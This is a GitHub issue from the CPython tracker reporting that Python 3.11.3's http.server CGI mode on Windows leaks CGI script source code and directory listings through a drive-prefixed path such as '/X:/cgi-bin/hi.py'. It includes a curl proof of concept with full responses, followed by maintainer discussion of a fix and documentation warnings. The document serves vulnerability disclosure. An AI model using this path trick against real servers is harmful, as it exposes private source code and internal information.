Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Python 3.11.3 http.server CGI source code disclosure and directory listing #104711

Open
fmunozs opened this issue May 21, 2023 · 4 comments
Open
Labels
OS-windows type-bug An unexpected behavior, bug, or error type-security A security issue

Comments

@fmunozs
Copy link

fmunozs commented May 21, 2023

Python 3.11.3 http.server CGI mode - CGI source code disclosure

Python http.server CGI implementation module discloses the source code of CGI scripts due to an error while validating the CGI path on Windows.
This may allow an attacker to read source code of CGI applications and obtain internal information.

Tested on

Python 3.11.3 amd64 on Windows 11

Analysis

The is_cgi method will return false when the server is called with the following path: http://localhost:8000/X:/cgi-bin/hi.py

return self.run_cgi()
so the request will be treated with the SimpleHTTPRequestHandler instead of using the CGIHTTPRequestHandler.

This path is used inside the function translate_path, which will ignore the "X:" part, hence the final path will point to the cgi-bin/hi.py file

"""Translate a /-separated PATH to the local filename syntax.

Proof-of-Concept

  1. Install Python 3.11.3 on Windows
  2. Create a sample CGI script and start the http server on port 8000, execute the following on cmd.exe:
mkdir cgi-bin
cd cgi-bin
echo #!/usr/bin/env python3 > hi.py
echo print("Content-Type: text/html\n") >> hi.py
echo print("<!doctype html><title>Hello</title><h2>hello world</h2>") >> hi.py
cd ..
python -m http.server  --cgi 8000
  1. From another terminal, this shows that the hi.py CGI script is running:
$ curl -v http://localhost:8000/cgi-bin/hi.py
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 Script output follows
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Tue, 02 May 2023 01:23:01 GMT
< Content-Type: text/html
<
<!doctype html><title>Hello</title><h2>hello world</h2>

When called with the following command, the source code for hi.py is returned instead of the HTML output:

$ curl -v http://localhost:8000/X:/cgi-bin/hi.py
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /X:/cgi-bin/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Tue, 02 May 2023 01:26:21 GMT
< Content-type: text/x-python
< Content-Length: 129
< Last-Modified: Mon, 01 May 2023 23:45:13 GMT
<
#!/usr/bin/env python3
print("Content-Type: text/html\n")
print("<!doctype html><title>Hello</title><h2>hello world</h2>")
* Closing connection 0

Directory Listing:

$ curl -v http://localhost:8000/X:/cgi-bin/
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /X:/cgi-bin/ HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sun, 21 May 2023 00:44:10 GMT
< Content-type: text/html; charset=utf-8
< Content-Length: 244
<
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /X:/cgi-bin/</title>
</head>
<body>
<h1>Directory listing for /X:/cgi-bin/</h1>
<hr>
<ul>
<li><a href="hi.py">hi.py</a></li>
</ul>
<hr>
</body>
</html>
* Closing connection 0

Linked PRs

@fmunozs
Copy link
Author

fmunozs commented Jul 17, 2023

@arhadthedev this issue is not related to the deprecated cgi module. It affects http.server code, which includes a "cgi" mode.

aisk added a commit to aisk/cpython that referenced this issue Jan 20, 2024
@aisk
Copy link
Contributor

aisk commented Jan 20, 2024

translate_path will ignore the X: in path but is_cgi not, so here comes the issue. I think we can make them have more consistent behavior to avoid the problem.

Although CGIHTTPRequestHandler is deprecated and will be removed in 3.15, but this is a security issue, so I think we should fix it and backport it until to 3.8.

@zooba
Copy link
Member

zooba commented Jan 22, 2024

Although CGIHTTPRequestHandler is deprecated and will be removed in 3.15, but this is a security issue, so I think we should fix it and backport it until to 3.8.

I'd settle for a note in the section of the doc page that explicitly says that the entire module is insecure.

Maybe we need to explicitly say "expose this to untrusted clients at your own risk"? If the text that's there isn't clear enough.

@aisk
Copy link
Contributor

aisk commented Jan 26, 2024

At the head of the document, there is a warning with a link:

:ref:`basic security checks <http.server-security>`.

Follow the link, it says:

Security Considerations
-----------------------
.. index:: pair: http.server; security
:class:`SimpleHTTPRequestHandler` will follow symbolic links when handling
requests, this makes it possible for files outside of the specified directory
to be served.
Earlier versions of Python did not scrub control characters from the
log messages emitted to stderr from ``python -m http.server`` or the
default :class:`BaseHTTPRequestHandler` ``.log_message``
implementation. This could allow remote clients connecting to your
server to send nefarious control codes to your terminal.
.. versionchanged:: 3.12
Control characters are scrubbed in stderr logs.

I think that some users may believe that, in version 3.12, there is only one known security issue related to following symbolic links, which can be avoided by not creating symbolic links in the folder.

Therefore, I think it would be beneficial to add notes explaining that there are other known and unknown security issues, and we should not expose this to untrusted clients.

aisk added a commit to aisk/cpython that referenced this issue Mar 2, 2024
…dler document (pythonGH-115915)

(cherry picked from commit dac8ff4)

Co-authored-by: AN Long <aisk@users.noreply.github.com>
aisk added a commit to aisk/cpython that referenced this issue Mar 2, 2024
…dler document (pythonGH-115915)

(cherry picked from commit dac8ff4)

Co-authored-by: AN Long <aisk@users.noreply.github.com>
zooba pushed a commit that referenced this issue Mar 4, 2024
zooba pushed a commit that referenced this issue Mar 4, 2024
woodruffw pushed a commit to woodruffw-forks/cpython that referenced this issue Mar 4, 2024
adorilson pushed a commit to adorilson/cpython that referenced this issue Mar 25, 2024
diegorusso pushed a commit to diegorusso/cpython that referenced this issue Apr 17, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
OS-windows type-bug An unexpected behavior, bug, or error type-security A security issue
Projects
None yet
Development

No branches or pull requests

4 participants